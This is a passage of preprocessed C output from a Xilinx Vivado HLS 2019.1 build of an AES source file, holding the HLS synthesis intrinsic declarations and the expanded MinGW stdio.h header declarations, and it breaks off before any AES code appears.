# 305 "C:/Xilinx/Vivado/2019.1/common/technology/autopilot\\etc/autopilot_ssdm_op.h"
void _ssdm_op_IfRead() __attribute__ ((nothrow));
void _ssdm_op_IfWrite() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_op_IfNbRead() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_op_IfNbWrite() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_op_IfCanRead() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_op_IfCanWrite() __attribute__ ((nothrow));
void _ssdm_StreamRead() __attribute__ ((nothrow));
void _ssdm_StreamWrite() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_StreamNbRead() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_StreamNbWrite() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_StreamCanRead() __attribute__ ((nothrow));
unsigned int __attribute__ ((bitwidth(1))) _ssdm_StreamCanWrite() __attribute__ ((nothrow));
void _ssdm_op_MemShiftRead() __attribute__ ((nothrow));
void _ssdm_op_Wait() __attribute__ ((nothrow));
void _ssdm_op_Poll() __attribute__ ((nothrow));
void _ssdm_op_Return() __attribute__ ((nothrow));
void _ssdm_op_SpecSynModule() __attribute__ ((nothrow));
void _ssdm_op_SpecTopModule() __attribute__ ((nothrow));
void _ssdm_op_SpecProcessDecl() __attribute__ ((nothrow));
void _ssdm_op_SpecProcessDef() __attribute__ ((nothrow));
void _ssdm_op_SpecPort() __attribute__ ((nothrow));
void _ssdm_op_SpecConnection() __attribute__ ((nothrow));
void _ssdm_op_SpecChannel() __attribute__ ((nothrow));
void _ssdm_op_SpecSensitive() __attribute__ ((nothrow));
void _ssdm_op_SpecModuleInst() __attribute__ ((nothrow));
void _ssdm_op_SpecPortMap() __attribute__ ((nothrow));
void _ssdm_op_SpecReset() __attribute__ ((nothrow));
void _ssdm_op_SpecPlatform() __attribute__ ((nothrow));
void _ssdm_op_SpecClockDomain() __attribute__ ((nothrow));
void _ssdm_op_SpecPowerDomain() __attribute__ ((nothrow));
int _ssdm_op_SpecRegionBegin() __attribute__ ((nothrow));
int _ssdm_op_SpecRegionEnd() __attribute__ ((nothrow));
void _ssdm_op_SpecLoopName() __attribute__ ((nothrow));
void _ssdm_op_SpecLoopTripCount() __attribute__ ((nothrow));
int _ssdm_op_SpecStateBegin() __attribute__ ((nothrow));
int _ssdm_op_SpecStateEnd() __attribute__ ((nothrow));
void _ssdm_op_SpecInterface() __attribute__ ((nothrow));
void _ssdm_op_SpecPipeline() __attribute__ ((nothrow));
void _ssdm_op_SpecDataflowPipeline() __attribute__ ((nothrow));
void _ssdm_op_SpecLatency() __attribute__ ((nothrow));
void _ssdm_op_SpecParallel() __attribute__ ((nothrow));
void _ssdm_op_SpecProtocol() __attribute__ ((nothrow));
void _ssdm_op_SpecOccurrence() __attribute__ ((nothrow));
void _ssdm_op_SpecResource() __attribute__ ((nothrow));
void _ssdm_op_SpecResourceLimit() __attribute__ ((nothrow));
void _ssdm_op_SpecCHCore() __attribute__ ((nothrow));
void _ssdm_op_SpecFUCore() __attribute__ ((nothrow));
void _ssdm_op_SpecIFCore() __attribute__ ((nothrow));
void _ssdm_op_SpecIPCore() __attribute__ ((nothrow));
void _ssdm_op_SpecKeepValue() __attribute__ ((nothrow));
void _ssdm_op_SpecMemCore() __attribute__ ((nothrow));
void _ssdm_op_SpecExt() __attribute__ ((nothrow));
void _ssdm_SpecArrayDimSize() __attribute__ ((nothrow));
void _ssdm_RegionBegin() __attribute__ ((nothrow));
void _ssdm_RegionEnd() __attribute__ ((nothrow));
void _ssdm_Unroll() __attribute__ ((nothrow));
void _ssdm_UnrollRegion() __attribute__ ((nothrow));
void _ssdm_InlineAll() __attribute__ ((nothrow));
void _ssdm_InlineLoop() __attribute__ ((nothrow));
void _ssdm_Inline() __attribute__ ((nothrow));
void _ssdm_InlineSelf() __attribute__ ((nothrow));
void _ssdm_InlineRegion() __attribute__ ((nothrow));
void _ssdm_SpecArrayMap() __attribute__ ((nothrow));
void _ssdm_SpecArrayPartition() __attribute__ ((nothrow));
void _ssdm_SpecArrayReshape() __attribute__ ((nothrow));
void _ssdm_SpecStream() __attribute__ ((nothrow));
void _ssdm_op_SpecStable() __attribute__ ((nothrow));
void _ssdm_op_SpecStableContent() __attribute__ ((nothrow));
void _ssdm_op_SpecPipoDepth() __attribute__ ((nothrow));
void _ssdm_SpecExpr() __attribute__ ((nothrow));
void _ssdm_SpecExprBalance() __attribute__ ((nothrow));
void _ssdm_SpecDependence() __attribute__ ((nothrow));
void _ssdm_SpecLoopMerge() __attribute__ ((nothrow));
void _ssdm_SpecLoopFlatten() __attribute__ ((nothrow));
void _ssdm_SpecLoopRewind() __attribute__ ((nothrow));
void _ssdm_SpecFuncInstantiation() __attribute__ ((nothrow));
void _ssdm_SpecFuncBuffer() __attribute__ ((nothrow));
void _ssdm_SpecFuncExtract() __attribute__ ((nothrow));
void _ssdm_SpecConstant() __attribute__ ((nothrow));
void _ssdm_DataPack() __attribute__ ((nothrow));
void _ssdm_SpecDataPack() __attribute__ ((nothrow));
void _ssdm_op_SpecBitsMap() __attribute__ ((nothrow));
void _ssdm_op_SpecLicense() __attribute__ ((nothrow));
# 9 "<command line>" 2
# 1 "<built-in>" 2
# 1 "aes/aes.c" 2
# 62 "aes/aes.c"
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 1 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 1 3
# 10 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/_mingw_mac.h" 1 3
# 10 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
# 277 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 1 3
# 13 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 1 3
# 674 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/sdks/_mingw_directx.h" 1 3
# 674 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include/sdks/_mingw_ddk.h" 1 3
# 675 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
# 13 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 2 3
#pragma pack(push,_CRT_PACKING)
typedef __builtin_va_list __gnuc_va_list;
typedef __gnuc_va_list va_list;
# 102 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\vadefs.h" 3
#pragma pack(pop)
# 277 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 2 3
#pragma pack(push,_CRT_PACKING)
# 370 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
__extension__ typedef unsigned long long size_t;
# 380 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
__extension__ typedef long long ssize_t;
# 392 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
__extension__ typedef long long intptr_t;
# 405 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
__extension__ typedef unsigned long long uintptr_t;
# 418 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
__extension__ typedef long long ptrdiff_t;
# 428 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef unsigned short wchar_t;
typedef unsigned short wint_t;
typedef unsigned short wctype_t;
# 456 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
typedef int errno_t;
typedef long __time32_t;
__extension__ typedef long long __time64_t;
typedef __time64_t time_t;
# 607 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw.h" 3
struct threadlocaleinfostruct;
struct threadmbcinfostruct;
typedef struct threadlocaleinfostruct *pthreadlocinfo;
typedef struct threadmbcinfostruct *pthreadmbcinfo;
struct __lc_time_data;
typedef struct localeinfo_struct {
pthreadlocinfo locinfo;
pthreadmbcinfo mbcinfo;
} _locale_tstruct,*_locale_t;
typedef struct tagLC_ID {
unsigned short wLanguage;
unsigned short wCountry;
unsigned short wCodePage;
} LC_ID,*LPLC_ID;
typedef struct threadlocaleinfostruct {
int refcount;
unsigned int lc_codepage;
unsigned int lc_collate_cp;
unsigned long lc_handle[6];
LC_ID lc_id[6];
struct {
char *locale;
wchar_t *wlocale;
int *refcount;
int *wrefcount;
} lc_category[6];
int lc_clike;
int mb_cur_max;
int *lconv_intl_refcount;
int *lconv_num_refcount;
int *lconv_mon_refcount;
struct lconv *lconv;
int *ctype1_refcount;
unsigned short *ctype1;
const unsigned short *pctype;
const unsigned char *pclmap;
const unsigned char *pcumap;
struct __lc_time_data *lc_time_curr;
} threadlocinfo;
const char *__mingw_get_crt_info (void);
#pragma pack(pop)
# 9 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
# 1 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\_mingw_print_push.h" 1 3
# 11 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 2 3
#pragma pack(push,_CRT_PACKING)
# 26 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
struct _iobuf {
char *_ptr;
int _cnt;
char *_base;
int _flag;
int _file;
int _charbuf;
int _bufsiz;
char *_tmpfname;
};
typedef struct _iobuf FILE;
# 84 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
typedef long _off_t;
typedef long off_t;
__extension__ typedef long long _off64_t;
__extension__ typedef long long off64_t;
__attribute__ ((__dllimport__)) FILE * __iob_func(void);
# 120 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__extension__ typedef long long fpos_t;
# 157 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) int _filbuf(FILE *_File);
__attribute__ ((__dllimport__)) int _flsbuf(int _Ch,FILE *_File);
__attribute__ ((__dllimport__)) FILE * _fsopen(const char *_Filename,const char *_Mode,int _ShFlag);
void clearerr(FILE *_File);
int fclose(FILE *_File);
__attribute__ ((__dllimport__)) int _fcloseall(void);
__attribute__ ((__dllimport__)) FILE * _fdopen(int _FileHandle,const char *_Mode);
int feof(FILE *_File);
int ferror(FILE *_File);
int fflush(FILE *_File);
int fgetc(FILE *_File);
__attribute__ ((__dllimport__)) int _fgetchar(void);
int fgetpos(FILE * __restrict__ _File ,fpos_t * __restrict__ _Pos);
char * fgets(char * __restrict__ _Buf,int _MaxCount,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) int _fileno(FILE *_File);
__attribute__ ((__dllimport__)) char * _tempnam(const char *_DirName,const char *_FilePrefix);
__attribute__ ((__dllimport__)) int _flushall(void);
FILE * fopen(const char * __restrict__ _Filename,const char * __restrict__ _Mode) ;
FILE *fopen64(const char * __restrict__ filename,const char * __restrict__ mode);
int fprintf(FILE * __restrict__ _File,const char * __restrict__ _Format,...);
int fputc(int _Ch,FILE *_File);
__attribute__ ((__dllimport__)) int _fputchar(int _Ch);
int fputs(const char * __restrict__ _Str,FILE * __restrict__ _File);
size_t fread(void * __restrict__ _DstBuf,size_t _ElementSize,size_t _Count,FILE * __restrict__ _File);
FILE * freopen(const char * __restrict__ _Filename,const char * __restrict__ _Mode,FILE * __restrict__ _File) ;
int fscanf(FILE * __restrict__ _File,const char * __restrict__ _Format,...) ;
int _fscanf_l(FILE * __restrict__ _File,const char * __restrict__ _Format,_locale_t locale,...) ;
int fsetpos(FILE *_File,const fpos_t *_Pos);
int fseek(FILE *_File,long _Offset,int _Origin);
int fseeko64(FILE* stream, _off64_t offset, int whence);
long ftell(FILE *_File);
_off64_t ftello64(FILE * stream);
__extension__ int _fseeki64(FILE *_File,long long _Offset,int _Origin);
__extension__ long long _ftelli64(FILE *_File);
size_t fwrite(const void * __restrict__ _Str,size_t _Size,size_t _Count,FILE * __restrict__ _File);
int getc(FILE *_File);
int getchar(void);
__attribute__ ((__dllimport__)) int _getmaxstdio(void);
char * gets(char *_Buffer) ;
int _getw(FILE *_File);
void perror(const char *_ErrMsg);
__attribute__ ((__dllimport__)) int _pclose(FILE *_File);
__attribute__ ((__dllimport__)) FILE * _popen(const char *_Command,const char *_Mode);
int printf(const char * __restrict__ _Format,...);
int putc(int _Ch,FILE *_File);
int putchar(int _Ch);
int puts(const char *_Str);
__attribute__ ((__dllimport__)) int _putw(int _Word,FILE *_File);
int remove(const char *_Filename);
int rename(const char *_OldFilename,const char *_NewFilename);
__attribute__ ((__dllimport__)) int _unlink(const char *_Filename);
int unlink(const char *_Filename) ;
void rewind(FILE *_File);
__attribute__ ((__dllimport__)) int _rmtmp(void);
int scanf(const char * __restrict__ _Format,...) ;
int _scanf_l(const char * __restrict__ format,_locale_t locale,... ) ;
void setbuf(FILE * __restrict__ _File,char * __restrict__ _Buffer) ;
__attribute__ ((__dllimport__)) int _setmaxstdio(int _Max);
__attribute__ ((__dllimport__)) unsigned int _set_output_format(unsigned int _Format);
__attribute__ ((__dllimport__)) unsigned int _get_output_format(void);
unsigned int __mingw_set_output_format(unsigned int _Format);
unsigned int __mingw_get_output_format(void);
int setvbuf(FILE * __restrict__ _File,char * __restrict__ _Buf,int _Mode,size_t _Size);
__attribute__ ((__dllimport__)) int _scprintf(const char * __restrict__ _Format,...);
int sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...) ;
int _sscanf_l(const char * __restrict__ buffer,const char * __restrict__ format,_locale_t locale,...) ;
__attribute__ ((__dllimport__)) int _snscanf(const char * __restrict__ _Src,size_t _MaxCount,const char * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _snscanf_l(const char * __restrict__ input,size_t length,const char * __restrict__ format,_locale_t locale,...) ;
FILE * tmpfile(void) ;
char * tmpnam(char *_Buffer);
int ungetc(int _Ch,FILE *_File);
int vfprintf(FILE * __restrict__ _File,const char * __restrict__ _Format,va_list _ArgList);
int vprintf(const char * __restrict__ _Format,va_list _ArgList);
extern
__attribute__((__format__ (gnu_printf, 3, 0))) __attribute__ ((__nonnull__ (3)))
int __mingw_vsnprintf(char * __restrict__ _DstBuf,size_t _MaxCount,const char * __restrict__ _Format,
va_list _ArgList);
extern
__attribute__((__format__ (gnu_printf, 3, 4))) __attribute__ ((__nonnull__ (3)))
int __mingw_snprintf(char * __restrict__ s, size_t n, const char * __restrict__ format, ...);
extern
__attribute__((__format__ (gnu_printf, 1, 2))) __attribute__ ((__nonnull__ (1)))
int __mingw_printf(const char * __restrict__ , ... ) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 1, 0))) __attribute__ ((__nonnull__ (1)))
int __mingw_vprintf (const char * __restrict__ , va_list) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 3))) __attribute__ ((__nonnull__ (2)))
int __mingw_fprintf (FILE * __restrict__ , const char * __restrict__ , ...) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 0))) __attribute__ ((__nonnull__ (2)))
int __mingw_vfprintf (FILE * __restrict__ , const char * __restrict__ , va_list) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 3))) __attribute__ ((__nonnull__ (2)))
int __mingw_sprintf (char * __restrict__ , const char * __restrict__ , ...) __attribute__ ((__nothrow__));
extern
__attribute__((__format__ (gnu_printf, 2, 0))) __attribute__ ((__nonnull__ (2)))
int __mingw_vsprintf (char * __restrict__ , const char * __restrict__ , va_list) __attribute__ ((__nothrow__));
__attribute__ ((__dllimport__)) int _snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _snprintf_l(char * __restrict__ buffer,size_t count,const char * __restrict__ format,_locale_t locale,...) ;
__attribute__ ((__dllimport__)) int _vsnprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,va_list _Args) ;
__attribute__ ((__dllimport__)) int _vsnprintf_l(char * __restrict__ buffer,size_t count,const char * __restrict__ format,_locale_t locale,va_list argptr) ;
int sprintf(char * __restrict__ _Dest,const char * __restrict__ _Format,...) ;
int _sprintf_l(char * __restrict__ buffer,const char * __restrict__ format,_locale_t locale,...) ;
int vsprintf(char * __restrict__ _Dest,const char * __restrict__ _Format,va_list _Args) ;
int vsnprintf(char * __restrict__ _DstBuf,size_t _MaxCount,const char * __restrict__ _Format,va_list _ArgList) ;
int snprintf(char * __restrict__ s, size_t n, const char * __restrict__ format, ...);
# 312 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
int vscanf(const char * __restrict__ Format, va_list argp);
int vfscanf (FILE * __restrict__ fp, const char * __restrict__ Format,va_list argp);
int vsscanf (const char * __restrict__ _Str,const char * __restrict__ Format,va_list argp);
__attribute__ ((__dllimport__)) int _vscprintf(const char * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _set_printf_count_output(int _Value);
__attribute__ ((__dllimport__)) int _get_printf_count_output(void);
# 330 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) FILE * _wfsopen(const wchar_t *_Filename,const wchar_t *_Mode,int _ShFlag);
wint_t fgetwc(FILE *_File);
__attribute__ ((__dllimport__)) wint_t _fgetwchar(void);
wint_t fputwc(wchar_t _Ch,FILE *_File);
__attribute__ ((__dllimport__)) wint_t _fputwchar(wchar_t _Ch);
wint_t getwc(FILE *_File);
wint_t getwchar(void);
wint_t putwc(wchar_t _Ch,FILE *_File);
wint_t putwchar(wchar_t _Ch);
wint_t ungetwc(wint_t _Ch,FILE *_File);
wchar_t * fgetws(wchar_t * __restrict__ _Dst,int _SizeInWords,FILE * __restrict__ _File);
int fputws(const wchar_t * __restrict__ _Str,FILE * __restrict__ _File);
__attribute__ ((__dllimport__)) wchar_t * _getws(wchar_t *_String) ;
__attribute__ ((__dllimport__)) int _putws(const wchar_t *_Str);
int fwprintf(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,...);
int wprintf(const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _scwprintf(const wchar_t * __restrict__ _Format,...);
int vfwprintf(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,va_list _ArgList);
int vwprintf(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int swprintf(wchar_t * __restrict__ , const wchar_t * __restrict__ , ...) ;
__attribute__ ((__dllimport__)) int _swprintf_l(wchar_t * __restrict__ buffer,size_t count,const wchar_t * __restrict__ format,_locale_t locale,... ) ;
__attribute__ ((__dllimport__)) int vswprintf(wchar_t * __restrict__ , const wchar_t * __restrict__ ,va_list) ;
__attribute__ ((__dllimport__)) int _swprintf_c(wchar_t * __restrict__ _DstBuf,size_t _SizeInWords,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vswprintf_c(wchar_t * __restrict__ _DstBuf,size_t _SizeInWords,const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _vsnwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,va_list _Args) ;
int snwprintf (wchar_t * __restrict__ s, size_t n, const wchar_t * __restrict__ format, ...);
int vsnwprintf (wchar_t * __restrict__ , size_t, const wchar_t * __restrict__ , va_list);
# 373 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
int vwscanf (const wchar_t * __restrict__ , va_list);
int vfwscanf (FILE * __restrict__ ,const wchar_t * __restrict__ ,va_list);
int vswscanf (const wchar_t * __restrict__ ,const wchar_t * __restrict__ ,va_list);
__attribute__ ((__dllimport__)) int _fwprintf_p(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _wprintf_p(const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vfwprintf_p(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vwprintf_p(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _swprintf_p(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vswprintf_p(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _scwprintf_p(const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vscwprintf_p(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _wprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _wprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vwprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vwprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _fwprintf_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _fwprintf_p_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vfwprintf_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vfwprintf_p_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _swprintf_c_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _swprintf_p_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vswprintf_c_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vswprintf_p_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _scwprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _scwprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vscwprintf_p_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
__attribute__ ((__dllimport__)) int _snwprintf_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
__attribute__ ((__dllimport__)) int _vsnwprintf_l(wchar_t * __restrict__ _DstBuf,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList) ;
__attribute__ ((__dllimport__)) int _swprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _vswprintf(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,va_list _Args);
__attribute__ ((__dllimport__)) int __swprintf_l(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,_locale_t _Plocinfo,...) ;
__attribute__ ((__dllimport__)) int _vswprintf_l(wchar_t * __restrict__ buffer,size_t count,const wchar_t * __restrict__ format,_locale_t locale,va_list argptr) ;
__attribute__ ((__dllimport__)) int __vswprintf_l(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Format,_locale_t _Plocinfo,va_list _Args) ;
# 417 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) wchar_t * _wtempnam(const wchar_t *_Directory,const wchar_t *_FilePrefix);
__attribute__ ((__dllimport__)) int _vscwprintf(const wchar_t * __restrict__ _Format,va_list _ArgList);
__attribute__ ((__dllimport__)) int _vscwprintf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,va_list _ArgList);
int fwscanf(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _fwscanf_l(FILE * __restrict__ _File,const wchar_t * __restrict__ _Format,_locale_t _Locale,...) ;
int swscanf(const wchar_t * __restrict__ _Src,const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _swscanf_l(const wchar_t * __restrict__ _Src,const wchar_t * __restrict__ _Format,_locale_t _Locale,...) ;
__attribute__ ((__dllimport__)) int _snwscanf(const wchar_t * __restrict__ _Src,size_t _MaxCount,const wchar_t * __restrict__ _Format,...);
__attribute__ ((__dllimport__)) int _snwscanf_l(const wchar_t * __restrict__ _Src,size_t _MaxCount,const wchar_t * __restrict__ _Format,_locale_t _Locale,...);
int wscanf(const wchar_t * __restrict__ _Format,...) ;
__attribute__ ((__dllimport__)) int _wscanf_l(const wchar_t * __restrict__ _Format,_locale_t _Locale,...) ;
__attribute__ ((__dllimport__)) FILE * _wfdopen(int _FileHandle ,const wchar_t *_Mode);
__attribute__ ((__dllimport__)) FILE * _wfopen(const wchar_t * __restrict__ _Filename,const wchar_t *__restrict__ _Mode) ;
__attribute__ ((__dllimport__)) FILE * _wfreopen(const wchar_t * __restrict__ _Filename,const wchar_t * __restrict__ _Mode,FILE * __restrict__ _OldFile) ;
__attribute__ ((__dllimport__)) void _wperror(const wchar_t *_ErrMsg);
__attribute__ ((__dllimport__)) FILE * _wpopen(const wchar_t *_Command,const wchar_t *_Mode);
__attribute__ ((__dllimport__)) int _wremove(const wchar_t *_Filename);
__attribute__ ((__dllimport__)) wchar_t * _wtmpnam(wchar_t *_Buffer);
__attribute__ ((__dllimport__)) wint_t _fgetwc_nolock(FILE *_File);
__attribute__ ((__dllimport__)) wint_t _fputwc_nolock(wchar_t _Ch,FILE *_File);
__attribute__ ((__dllimport__)) wint_t _ungetwc_nolock(wint_t _Ch,FILE *_File);
# 475 "C:/Xilinx/Vivado/2019.1/win64/tools/clang/bin/../lib/clang/3.1/../../../x86_64-w64-mingw32/include\\stdio.h" 3
__attribute__ ((__dllimport__)) void _lock_file(FILE *_File);
__attribute__ ((__dllimport__)) void _unlock_file(FILE *_File);
__attribute__ ((__dllimport__)) int _fclose_nolock(FILE *_File);
__attribute__ ((__dllimport__)) int _fflush_nolock(FILE *_File);
